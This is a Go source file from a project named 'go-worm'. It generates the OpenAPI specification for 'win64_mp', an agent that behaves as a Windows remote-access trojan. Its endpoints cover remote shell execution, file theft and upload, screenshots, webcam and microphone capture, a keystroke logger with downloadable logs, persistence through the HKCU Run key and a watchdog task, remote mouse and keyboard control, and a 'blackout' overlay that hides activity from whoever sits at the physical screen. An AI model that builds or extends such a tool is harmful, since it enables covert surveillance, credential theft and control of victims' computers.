Files

725 lines
27 KiB
Go
Raw Permalink Normal View History

package openapi
import "tea.chunkbyte.com/kato/go-worm/lib/config"
func Spec() map[string]any {
ref := func(name string) map[string]string {
return map[string]string{"$ref": "#/components/schemas/" + name}
}
jsonBody := func(schema map[string]string) map[string]any {
return map[string]any{
"required": true,
"content": map[string]any{
"application/json": map[string]any{"schema": schema},
},
}
}
errResp := func(desc string) map[string]any {
return map[string]any{"description": desc, "content": map[string]any{
"application/json": map[string]any{"schema": ref("Error")},
}}
}
okJSON := func(desc string, schema map[string]string) map[string]any {
return map[string]any{"description": desc, "content": map[string]any{
"application/json": map[string]any{"schema": schema},
}}
}
auth := func(responses map[string]any) map[string]any {
responses["401"] = errResp("Unauthorized")
return responses
}
return map[string]any{
"openapi": "3.0.3",
"info": map[string]any{
"title": "win64_mp",
"description": "HTTP API for win64_mp. Set AGENT_ADDR (default 0.0.0.0:5032) and optionally AGENT_FILE_ROOT to restrict file access. HTTP Basic auth required (except /openapi).",
"version": config.Version,
},
"servers": []map[string]any{
{"url": "http://127.0.0.1:5032", "description": "Default listen address (override host/port as needed)"},
},
"security": []map[string]any{{"basicAuth": []string{}}},
"paths": map[string]any{
"/health": map[string]any{
"get": map[string]any{
"summary": "Health check",
"operationId": "health",
"responses": auth(map[string]any{
"200": okJSON("Agent is running", ref("Health")),
}),
},
},
"/healthz": map[string]any{
"get": map[string]any{
"summary": "Health check alias",
"operationId": "healthz",
"responses": auth(map[string]any{
"200": okJSON("Agent is running", ref("Health")),
}),
},
},
"/api/v1/status": map[string]any{
"get": map[string]any{
"summary": "Agent status",
"operationId": "getStatus",
"responses": auth(map[string]any{
"200": okJSON("Host and agent metadata", ref("Status")),
}),
},
},
"/api/v1/files": map[string]any{
"get": map[string]any{
"summary": "List directory entries",
"operationId": "listFiles",
"parameters": []map[string]any{
{"name": "path", "in": "query", "schema": map[string]string{"type": "string"}, "description": "Directory path; defaults to the current user's home directory"},
{"name": "depth", "in": "query", "schema": map[string]any{"type": "integer", "minimum": 0, "default": 0}, "description": "Recursion depth (0 = immediate children only)"},
},
"responses": auth(map[string]any{
"200": okJSON("Directory listing", ref("FileList")),
"400": errResp("Invalid path or depth"),
"403": errResp("Path outside allowed root"),
"404": errResp("Path not found"),
}),
},
"delete": map[string]any{
"summary": "Delete a file or directory",
"operationId": "deleteFile",
"parameters": []map[string]any{
{"name": "path", "in": "query", "required": true, "schema": map[string]string{"type": "string"}},
},
"responses": auth(map[string]any{
"200": okJSON("Deleted", ref("OkPath")),
"400": errResp("Invalid path"),
"403": errResp("Path outside allowed root"),
"404": errResp("Path not found"),
}),
},
},
2026-09-01 20:20:15 +03:00
"/api/v1/files/zip": map[string]any{
"get": map[string]any{
"summary": "Download a directory as a zip archive",
"operationId": "zipFolder",
"description": "Zips the directory into a temporary file and streams it as an attachment.",
"parameters": []map[string]any{
{"name": "path", "in": "query", "required": true, "schema": map[string]string{"type": "string"}, "description": "Absolute path to the directory"},
},
"responses": auth(map[string]any{
"200": map[string]any{"description": "Zip archive", "content": map[string]any{"application/zip": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}}}},
"400": errResp("Invalid path or not a directory"),
"403": errResp("Path outside allowed root"),
"404": errResp("Path not found"),
"413": errResp("Archive exceeds size limit"),
}),
},
},
"/api/v1/download": map[string]any{
"get": map[string]any{
"summary": "Download a file",
"operationId": "downloadFile",
"parameters": []map[string]any{
{"name": "path", "in": "query", "required": true, "schema": map[string]string{"type": "string"}},
},
"responses": auth(map[string]any{
"200": map[string]any{"description": "File bytes", "content": map[string]any{"application/octet-stream": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}}}},
"400": errResp("Invalid path or directory"),
"403": errResp("Path outside allowed root"),
"404": errResp("File not found"),
}),
},
},
"/api/v1/upload": map[string]any{
"post": map[string]any{
"summary": "Upload a file",
"operationId": "uploadFile",
"requestBody": map[string]any{
"required": true,
"content": map[string]any{
"multipart/form-data": map[string]any{
"schema": map[string]any{
"type": "object",
"required": []string{"path", "file"},
"properties": map[string]any{
"path": map[string]string{"type": "string", "description": "Destination directory"},
"file": map[string]string{"type": "string", "format": "binary"},
},
},
},
},
},
"responses": auth(map[string]any{
"200": okJSON("Uploaded", ref("UploadResult")),
"400": errResp("Invalid path or body"),
"403": errResp("Path outside allowed root"),
}),
},
},
"/api/v1/screenshot": map[string]any{
"get": map[string]any{
"summary": "Capture a monitor",
"operationId": "screenshot",
"parameters": []map[string]any{
{"name": "format", "in": "query", "schema": map[string]any{"type": "string", "enum": []string{"png", "jpeg"}, "default": "png"}},
{"name": "quality", "in": "query", "schema": map[string]any{"type": "integer", "minimum": 1, "maximum": 100, "default": 80}, "description": "JPEG quality only"},
{"name": "monitor", "in": "query", "schema": map[string]any{"type": "integer", "minimum": 0, "default": 0}},
},
"responses": auth(map[string]any{
"200": map[string]any{
"description": "Screenshot image",
"headers": map[string]any{
2026-09-02 13:32:21 +03:00
"X-Monitor-Left": map[string]any{"schema": map[string]string{"type": "integer"}},
"X-Monitor-Top": map[string]any{"schema": map[string]string{"type": "integer"}},
"X-Monitor-Width": map[string]any{"schema": map[string]string{"type": "integer"}},
"X-Monitor-Height": map[string]any{"schema": map[string]string{"type": "integer"}},
"X-Screen-Blackout": map[string]any{"schema": map[string]string{"type": "string"}, "description": "1 when physical monitors are blacked out"},
},
"content": map[string]any{
"image/png": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}},
"image/jpeg": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}},
},
},
"400": errResp("Invalid parameters"),
"503": errResp("No interactive desktop available"),
}),
},
},
2026-09-02 13:32:21 +03:00
"/api/v1/blackout": map[string]any{
"get": map[string]any{
"summary": "Read physical monitor blackout",
"operationId": "getBlackout",
"responses": auth(map[string]any{
"200": okJSON("Blackout state", ref("BlackoutState")),
}),
},
"put": map[string]any{
"summary": "Black out physical monitors",
"operationId": "setBlackout",
"description": "Covers physical displays with a click-through overlay excluded from capture. Remote video and input keep working.",
"requestBody": jsonBody(ref("BlackoutUpdate")),
"responses": auth(map[string]any{
"200": okJSON("Blackout state", ref("BlackoutState")),
"400": errResp("Invalid body"),
"503": errResp("Blackout failed"),
}),
},
},
"/api/v1/webcam": map[string]any{
"get": map[string]any{
"summary": "List webcams",
"operationId": "listWebcams",
"responses": auth(map[string]any{
"200": okJSON("Connected capture devices", ref("WebcamList")),
"503": errResp("Webcam enumeration failed"),
}),
},
},
"/api/v1/webcam/frame": map[string]any{
"get": map[string]any{
"summary": "Capture a webcam frame",
"operationId": "webcamFrame",
"parameters": []map[string]any{
{"name": "device", "in": "query", "schema": map[string]any{"type": "integer", "minimum": 0, "default": 0}, "description": "Device index from /api/v1/webcam"},
{"name": "format", "in": "query", "schema": map[string]any{"type": "string", "enum": []string{"png", "jpeg"}, "default": "jpeg"}},
{"name": "quality", "in": "query", "schema": map[string]any{"type": "integer", "minimum": 1, "maximum": 100, "default": 80}, "description": "JPEG quality only"},
},
"responses": auth(map[string]any{
"200": map[string]any{
"description": "Webcam frame",
"headers": map[string]any{
"X-Webcam-Width": map[string]any{"schema": map[string]string{"type": "integer"}},
"X-Webcam-Height": map[string]any{"schema": map[string]string{"type": "integer"}},
},
"content": map[string]any{
"image/png": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}},
"image/jpeg": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}},
},
},
"400": errResp("Invalid parameters or device"),
"503": errResp("Webcam capture failed"),
}),
},
},
2026-09-02 01:00:09 +03:00
"/api/v1/mic": map[string]any{
"get": map[string]any{
"summary": "List microphones",
"operationId": "listMics",
"responses": auth(map[string]any{
"200": okJSON("Capture devices", ref("MicList")),
"503": errResp("Microphone enumeration failed"),
}),
},
"delete": map[string]any{
"summary": "Stop microphone capture",
"operationId": "stopMic",
"responses": auth(map[string]any{
"204": map[string]any{"description": "Capture stopped"},
}),
},
},
"/api/v1/mic/chunk": map[string]any{
"get": map[string]any{
"summary": "Poll ~200ms of microphone audio",
"operationId": "micChunk",
"parameters": []map[string]any{
{"name": "device", "in": "query", "schema": map[string]any{"type": "integer", "minimum": 0, "default": 0}},
},
"responses": auth(map[string]any{
"200": map[string]any{
"description": "WAV audio chunk",
"content": map[string]any{
"audio/wav": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}},
},
},
"204": map[string]any{"description": "No audio buffered yet"},
"400": errResp("Invalid device"),
"503": errResp("Microphone capture failed"),
}),
},
},
"/api/v1/mic/record": map[string]any{
"post": map[string]any{
"summary": "Start recording microphone to AppData",
"operationId": "startMicRecord",
"parameters": []map[string]any{
{"name": "device", "in": "query", "schema": map[string]any{"type": "integer", "minimum": 0, "default": 0}},
},
"responses": auth(map[string]any{
"200": okJSON("Recording started", ref("MicRecordState")),
"409": errResp("Already recording"),
"400": errResp("Invalid device"),
"503": errResp("Could not start recording"),
}),
},
"delete": map[string]any{
"summary": "Stop recording",
"operationId": "stopMicRecord",
"responses": auth(map[string]any{
"200": okJSON("Recording stopped", ref("MicRecordState")),
"400": errResp("Not recording"),
}),
},
},
"/api/v1/mic/recordings": map[string]any{
"get": map[string]any{
"summary": "List saved microphone recordings",
"operationId": "listMicRecordings",
"responses": auth(map[string]any{
"200": okJSON("Recording files", ref("MicRecordingList")),
}),
},
},
"/api/v1/mic/download": map[string]any{
"get": map[string]any{
"summary": "Download a saved recording",
"operationId": "downloadMicRecording",
"parameters": []map[string]any{
{"name": "file", "in": "query", "required": true, "schema": map[string]string{"type": "string"}},
},
"responses": auth(map[string]any{
"200": map[string]any{
"description": "WAV file",
"content": map[string]any{
"audio/wav": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}},
},
},
"400": errResp("Invalid file name"),
"404": errResp("Recording not found"),
}),
},
},
"/api/v1/exec": map[string]any{
"post": map[string]any{
"summary": "Run a shell command",
"operationId": "exec",
"requestBody": jsonBody(ref("ExecRequest")),
"responses": auth(map[string]any{
"200": okJSON("Command finished", ref("ExecResponse")),
"400": errResp("Invalid command or timeout"),
"504": errResp("Command timed out"),
}),
},
},
"/api/v1/startup": map[string]any{
"post": map[string]any{
"summary": "Add agent to Windows startup (HKCU Run / Task Manager)",
"operationId": "enableStartup",
"responses": auth(map[string]any{
"200": okJSON("Persistence state", ref("PersistState")),
}),
},
"delete": map[string]any{
"summary": "Remove agent from Windows startup",
"operationId": "disableStartup",
"responses": auth(map[string]any{
"200": okJSON("Persistence state", ref("PersistState")),
}),
},
},
"/api/v1/watchdog": map[string]any{
"post": map[string]any{
"summary": "Enable a 15-minute user-level watchdog task",
"operationId": "enableWatchdog",
"responses": auth(map[string]any{
"200": okJSON("Persistence state", ref("PersistState")),
}),
},
"delete": map[string]any{
"summary": "Disable the watchdog scheduled task",
"operationId": "disableWatchdog",
"responses": auth(map[string]any{
"200": okJSON("Persistence state", ref("PersistState")),
}),
},
},
"/api/v1/settings": map[string]any{
"get": map[string]any{
"summary": "Read agent settings",
"operationId": "getSettings",
"responses": auth(map[string]any{
"200": okJSON("Current settings", ref("Settings")),
}),
},
"put": map[string]any{
"summary": "Update agent settings",
"operationId": "updateSettings",
"description": "Persist klogging on/off. Disabling unhooks the keyboard hook immediately.",
"requestBody": jsonBody(ref("SettingsUpdate")),
"responses": auth(map[string]any{
"200": okJSON("Updated settings", ref("Settings")),
"400": errResp("Invalid body"),
}),
},
},
"/api/v1/update": map[string]any{
"post": map[string]any{
"summary": "Deploy uploaded agent executable on alternate port",
"operationId": "deployUpdate",
"description": "Upload a .exe and launch it on port 5033 when this instance uses 5032, or vice versa. The current instance is left running.",
"requestBody": map[string]any{
"required": true,
"content": map[string]any{
"multipart/form-data": map[string]any{
"schema": map[string]any{
"type": "object",
"required": []string{"file"},
"properties": map[string]any{
"file": map[string]string{"type": "string", "format": "binary", "description": "Windows amd64 executable"},
},
},
},
},
},
"responses": auth(map[string]any{
"200": okJSON("Update launched", ref("UpdateResult")),
"400": errResp("Invalid file or executable"),
"409": errResp("Alternate port already in use"),
}),
},
},
"/api/v1/input/click": map[string]any{
"post": map[string]any{
"summary": "Click the desktop",
"operationId": "click",
"requestBody": jsonBody(ref("ClickRequest")),
"responses": auth(map[string]any{
"200": okJSON("Clicked", ref("ClickResult")),
"400": errResp("Invalid coordinates or button"),
}),
},
},
"/api/v1/input/key": map[string]any{
"post": map[string]any{
"summary": "Send a key press",
"operationId": "sendKey",
"requestBody": jsonBody(ref("KeyRequest")),
"responses": auth(map[string]any{
"200": okJSON("Key sent", ref("KeyResult")),
"400": errResp("Invalid key or action"),
}),
},
},
"/api/v1/input/text": map[string]any{
"post": map[string]any{
"summary": "Type text into the focused field",
"operationId": "typeText",
"requestBody": jsonBody(ref("TextRequest")),
"responses": auth(map[string]any{
"200": okJSON("Text typed", ref("TextResult")),
"400": errResp("Invalid or empty text"),
}),
},
},
"/api/v1/keylog": map[string]any{
"get": map[string]any{
"summary": "List keystroke log files",
"operationId": "listKeylogs",
"responses": auth(map[string]any{
"200": okJSON("Keystroke log index", ref("KeylogList")),
}),
},
},
"/api/v1/keylog/download": map[string]any{
"get": map[string]any{
"summary": "Download a keystroke log file",
"operationId": "downloadKeylog",
"parameters": []map[string]any{
{"name": "file", "in": "query", "required": true, "schema": map[string]string{"type": "string"}, "description": "Hourly log filename, e.g. 2026-08-28-13.log"},
},
"responses": auth(map[string]any{
"200": map[string]any{"description": "Plain-text keystroke transcript", "content": map[string]any{
"text/plain": map[string]any{"schema": map[string]string{"type": "string"}},
}},
"400": errResp("Invalid filename"),
"404": errResp("Log file not found"),
}),
},
},
},
"components": map[string]any{
"securitySchemes": map[string]any{
"basicAuth": map[string]any{"type": "http", "scheme": "basic"},
},
"schemas": map[string]any{
"Error": map[string]any{
"type": "object", "required": []string{"error"},
"properties": map[string]any{"error": map[string]string{"type": "string"}},
},
"Health": map[string]any{
"type": "object", "required": []string{"status"},
"properties": map[string]any{"status": map[string]string{"type": "string", "example": "ok"}},
},
"Status": map[string]any{
"type": "object",
"properties": map[string]any{
"os": map[string]string{"type": "string"},
"architecture": map[string]string{"type": "string"},
"user": map[string]string{"type": "string"},
"hostname": map[string]string{"type": "string"},
"uptime_seconds": map[string]any{"type": "integer", "format": "int64"},
"local_ips": map[string]any{"type": "array", "items": map[string]string{"type": "string"}},
"agent_version": map[string]string{"type": "string"},
"listen_address": map[string]string{"type": "string"},
"startup_enabled": map[string]any{"type": "boolean"},
"watchdog_enabled": map[string]any{"type": "boolean"},
"klogging": map[string]any{"type": "boolean"},
},
},
"FileItem": map[string]any{
"type": "object",
"properties": map[string]any{
"name": map[string]string{"type": "string"},
"path": map[string]string{"type": "string"},
"type": map[string]any{"type": "string", "enum": []string{"file", "dir"}},
"size": map[string]any{"type": "integer", "format": "int64"},
"modified_time": map[string]string{"type": "string", "format": "date-time"},
},
},
"FileList": map[string]any{
"type": "object",
"properties": map[string]any{
"path": map[string]string{"type": "string"},
"depth": map[string]any{"type": "integer"},
"entries": map[string]any{"type": "array", "items": ref("FileItem")},
},
},
"OkPath": map[string]any{
"type": "object",
"properties": map[string]any{
"ok": map[string]any{"type": "boolean"},
"path": map[string]string{"type": "string"},
},
},
"UploadResult": map[string]any{
"type": "object",
"properties": map[string]any{
"ok": map[string]any{"type": "boolean"},
"path": map[string]string{"type": "string"},
"size": map[string]any{"type": "integer", "format": "int64"},
"name": map[string]string{"type": "string"},
},
},
"UpdateResult": map[string]any{
"type": "object",
"properties": map[string]any{
"ok": map[string]any{"type": "boolean"},
"path": map[string]string{"type": "string"},
"listen_address": map[string]string{"type": "string"},
"previous_listen_address": map[string]string{"type": "string"},
},
},
"ExecRequest": map[string]any{
"type": "object", "required": []string{"command"},
"properties": map[string]any{
"command": map[string]string{"type": "string", "example": "ipconfig /all"},
"timeout_sec": map[string]any{"type": "integer", "minimum": 0, "maximum": 120, "default": 30},
},
},
"ExecResponse": map[string]any{
"type": "object",
"properties": map[string]any{
"exit_code": map[string]any{"type": "integer"},
"stdout": map[string]string{"type": "string"},
"stderr": map[string]string{"type": "string"},
},
},
"PersistState": map[string]any{
"type": "object",
"properties": map[string]any{
"startup_enabled": map[string]any{"type": "boolean"},
"watchdog_enabled": map[string]any{"type": "boolean"},
},
},
"Settings": map[string]any{
"type": "object",
"properties": map[string]any{
"klogging": map[string]any{"type": "boolean"},
"klogging_running": map[string]any{"type": "boolean"},
},
},
"SettingsUpdate": map[string]any{
"type": "object",
"required": []string{"klogging"},
"properties": map[string]any{
"klogging": map[string]any{"type": "boolean"},
},
},
2026-09-02 13:32:21 +03:00
"BlackoutState": map[string]any{
"type": "object",
"properties": map[string]any{
"enabled": map[string]any{"type": "boolean"},
},
},
"BlackoutUpdate": map[string]any{
"type": "object",
"required": []string{"enabled"},
"properties": map[string]any{
"enabled": map[string]any{"type": "boolean"},
},
},
"ClickRequest": map[string]any{
"type": "object", "required": []string{"x", "y", "button"},
"properties": map[string]any{
"x": map[string]any{"type": "integer", "description": "Absolute screen X coordinate"},
"y": map[string]any{"type": "integer", "description": "Absolute screen Y coordinate"},
"button": map[string]any{"type": "string", "enum": []string{"left", "right", "middle"}},
"monitor": map[string]any{"type": "integer", "minimum": 0, "default": 0},
},
},
"ClickResult": map[string]any{
"type": "object",
"properties": map[string]any{
"ok": map[string]any{"type": "boolean"},
"x": map[string]any{"type": "integer"},
"y": map[string]any{"type": "integer"},
},
},
"KeyRequest": map[string]any{
"type": "object", "required": []string{"key"},
"properties": map[string]any{
"key": map[string]string{"type": "string", "example": "a", "description": "Key name: letter, digit, enter, f1, etc."},
"action": map[string]any{
"type": "string", "enum": []string{"tap", "down", "up"}, "default": "tap",
},
"modifiers": map[string]any{
"type": "array",
"items": map[string]any{
"type": "string", "enum": []string{"ctrl", "alt", "shift", "win"},
},
},
},
},
"KeyResult": map[string]any{
"type": "object",
"properties": map[string]any{
"ok": map[string]any{"type": "boolean"},
"key": map[string]string{"type": "string"},
"action": map[string]string{"type": "string"},
},
},
"TextRequest": map[string]any{
"type": "object", "required": []string{"text"},
"properties": map[string]any{
"text": map[string]any{"type": "string", "maxLength": 4096},
"delay_ms": map[string]any{"type": "integer", "minimum": 0, "maximum": 200},
},
},
"TextResult": map[string]any{
"type": "object",
"properties": map[string]any{
"ok": map[string]any{"type": "boolean"},
"length": map[string]any{"type": "integer"},
"delay_ms": map[string]any{"type": "integer"},
},
},
"KeylogFile": map[string]any{
"type": "object",
"properties": map[string]any{
"name": map[string]string{"type": "string"},
"size": map[string]any{"type": "integer", "format": "int64"},
"modified_time": map[string]string{"type": "string", "format": "date-time"},
},
},
"KeylogList": map[string]any{
"type": "object",
"properties": map[string]any{
"directory": map[string]string{"type": "string"},
"files": map[string]any{"type": "array", "items": ref("KeylogFile")},
},
},
"WebcamDevice": map[string]any{
"type": "object",
"properties": map[string]any{
"index": map[string]any{"type": "integer"},
"name": map[string]string{"type": "string"},
"version": map[string]string{"type": "string"},
},
},
"WebcamList": map[string]any{
"type": "object",
"properties": map[string]any{
"devices": map[string]any{"type": "array", "items": ref("WebcamDevice")},
},
},
2026-09-02 01:00:09 +03:00
"MicDevice": map[string]any{
"type": "object",
"properties": map[string]any{
"index": map[string]any{"type": "integer"},
"name": map[string]string{"type": "string"},
},
},
"MicList": map[string]any{
"type": "object",
"properties": map[string]any{
"devices": map[string]any{"type": "array", "items": ref("MicDevice")},
},
},
"MicRecordState": map[string]any{
"type": "object",
"properties": map[string]any{
"file": map[string]string{"type": "string"},
"size": map[string]any{"type": "integer", "format": "int64"},
"recording": map[string]any{"type": "boolean"},
},
},
"MicRecordingList": map[string]any{
"type": "object",
"properties": map[string]any{
"directory": map[string]string{"type": "string"},
"recording": map[string]any{"type": "boolean"},
"files": map[string]any{"type": "array", "items": ref("MicFile")},
},
},
"MicFile": map[string]any{
"type": "object",
"properties": map[string]any{
"name": map[string]string{"type": "string"},
"size": map[string]any{"type": "integer", "format": "int64"},
"modified_time": map[string]string{"type": "string", "format": "date-time"},
},
},
},
},
}
}